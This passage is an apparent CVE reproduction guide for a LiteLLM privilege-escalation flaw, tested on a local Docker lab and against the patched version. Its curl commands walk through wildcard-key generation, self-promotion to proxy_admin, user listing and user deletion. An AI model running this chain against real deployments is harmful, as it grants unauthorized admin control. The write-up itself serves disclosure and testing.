
The code for personally reproducing the corresponding vulnerability
/key/generate + /user/updateLiteLLM v1.82.6 (before v1.83.14)
/key/generateendpoint allows low-privilegedinternal_userto request an API key with wildcard routes["/*"], and then elevate their own role toproxy_adminvia the/user/updateendpoint, achieving unauthorized privilege escalation.
| Field | Value |
|---|---|
| CVE | CVE-2026-47101 |
| CVSS v3.1 | 8.8 (HIGH) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-863 (Incorrect Authorization) |
| Affected | LiteLLM < 1.83.14 (confirmed on v1.82.6) |
| Fixed | v1.83.14+ (added allowed_routes role validation) |
| Published | 2026-05-21 |
| Discovered by | Fenix Qiao (13ph03nix) — Obsidian Security |
| Links | NVD |
LiteLLM's /key/generate endpoint is used to generate API keys, and /user/update is used to update user attributes.
The authorization checks for these two endpoints have three coherent flaws that can be chained by a low-privileged user:
/key/generate does not validate allowed_routes — any role (including internal_user) can request ["/*"] wildcard routesallowed_routes wildcard matching — the generated wildcard key can access all administrative endpoints/user/update allows self-modification of the user_role field — using the wildcard key, the user can elevate their own role to proxy_admininternal_user
→ POST /key/generate {"allowed_routes": ["/*"]}
→ Obtains wildcard API key
→ POST /user/update {"user_id": "...", "user_role": "proxy_admin"}
→ Role elevated to proxy_admin
→ GET /user/list (using wildcard key)
→ Verifies admin access
# 1. Start PostgreSQL + vulnerable LiteLLM (v1.82.6, pinned digest)
docker compose up -d litellm
# Wait for service to be ready (approx. 10-30 seconds)
sleep 15
# Check container logs
docker logs litellm-privesc 2>&1 | tail -10
Expected output should contain startup logs such as Uvicorn running on http://0.0.0.0:4000.
Use the master key to create a low-privileged internal_user account:
curl -s -X POST http://localhost:4000/user/new \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d '{"role": "internal_user"}'
Expected output:
{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","key":"sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"}
Note the returned user_id and key; they will be needed in subsequent steps.
As internal_user, call /key/generate to request an API key with ["/*"] wildcard routes:
# Replace sk-internal-user-key with the key obtained in the previous step
curl -s -X POST http://localhost:4000/key/generate \
-H "Authorization: Bearer sk-internal-user-key" \
-H "Content-Type: application/json" \
-d '{"allowed_routes": ["/*"]}'
Expected output:
{"key":"sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx","allowed_routes":["/*"]}
⚠️ Vulnerability Point:
internal_usersuccessfully generated an API key with["/*"]wildcard routes! This key can access all administrative endpoints, including/user/update,/user/list, etc.
Use the wildcard route key to call /user/update and elevate the user role to proxy_admin:
curl -s -X POST http://localhost:4000/user/update \
-H "Authorization: Bearer sk-wildcard-key" \
-H "Content-Type: application/json" \
-d '{"user_id": "your-user-id", "user_role": "proxy_admin"}'
Expected output:
{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","data":{"user_role":"proxy_admin",...}}
⚠️ Vulnerability Point:
user_rolehas been changed frominternal_usertoproxy_admin! The/user/updateendpoint allows a user to modify their ownuser_rolefield without any privilege restrictions.
Verify the role escalation by accessing the /user/list endpoint:
curl -s -X GET http://localhost:4000/user/list \
-H "Authorization: Bearer sk-wildcard-key"
Expected output:
{"users":[{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","user_role":"proxy_admin",...}]}
The
/user/listendpoint is only accessible to theproxy_adminrole. Successfully retrieving the user list confirms that privilege escalation has taken effect.
Using the obtained proxy_admin privileges, arbitrary users can be deleted via /user/delete:
curl -s -X POST http://localhost:4000/user/delete \
-H "Authorization: Bearer sk-wildcard-key" \
-H "Content-Type: application/json" \
-d '{"user_ids": ["user-id-to-delete"]}'
Expected output:
1
The above steps have been consolidated into demo.sh, which can be executed directly:
# Full reproduction (includes steps 1-5)
bash demo.sh
# Also test against the fixed version for comparison
bash demo.sh --fixed
Start the fixed version (v1.83.14-stable) to verify that the vulnerability has been patched:
# Start the fixed version
docker compose --profile fixed up -d litellm-fixed
# Wait for readiness
sleep 15
Create an internal_user:
FIXED_USER_KEY=$(curl -s -X POST http://localhost:4001/user/new \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d '{"role": "internal_user"}' | \
python3 -c "import sys,json; print(json.load(sys.stdin).get('key',''))")
echo "Fixed user key: $FIXED_USER_KEY"
Attempt to generate a wildcard route key (expected to be blocked):
curl -s -X POST http://localhost:4001/key/generate \
-H "Authorization: Bearer $FIXED_USER_KEY" \
-H "Content-Type: application/json" \
-d '{"allowed_routes": ["/*"]}'
Expected output (fixed version blocks unauthorized request):
{"error":{"message":"Not allowed","type":"auth_error","code":"403"}}
Comparison with the vulnerable version:
| Test Scenario | Vulnerable Version (v1.82.6) | Fixed Version (v1.83.14) |
|---|---|---|
internal_user requests ["/*"] | ✅ Successfully generated wildcard key | ❌ Blocked (HTTP 403) |
| Wildcard key modifies user_role | ✅ Successfully elevated to proxy_admin | ❌ Blocked |
| Wildcard key accesses /user/list | ✅ Successfully retrieved user list | ❌ Blocked |
POST /key/generateGenerates a new API key. The allowed_routes parameter is used to restrict the list of endpoints the key can access.
| Field | Type | Required | Description |
|---|---|---|---|
allowed_routes | array | No | List of allowed routes, e.g., ["/*"] for all routes |
POST /user/updateUpdates user attributes, including the user_role field.
| Field | Type | Required | Description |
|---|---|---|---|
user_id | string | Yes | ID of the user to update |
user_role | string | Yes | New role (e.g., proxy_admin) |
As internal_user, call /key/generate requesting a key with ["/*"]:
POST /key/generate
Authorization: Bearer sk-internal-user-key
Content-Type: application/json
{"allowed_routes": ["/*"]}
The response contains a new API key with wildcard route privileges.
Use the wildcard key to call /user/update: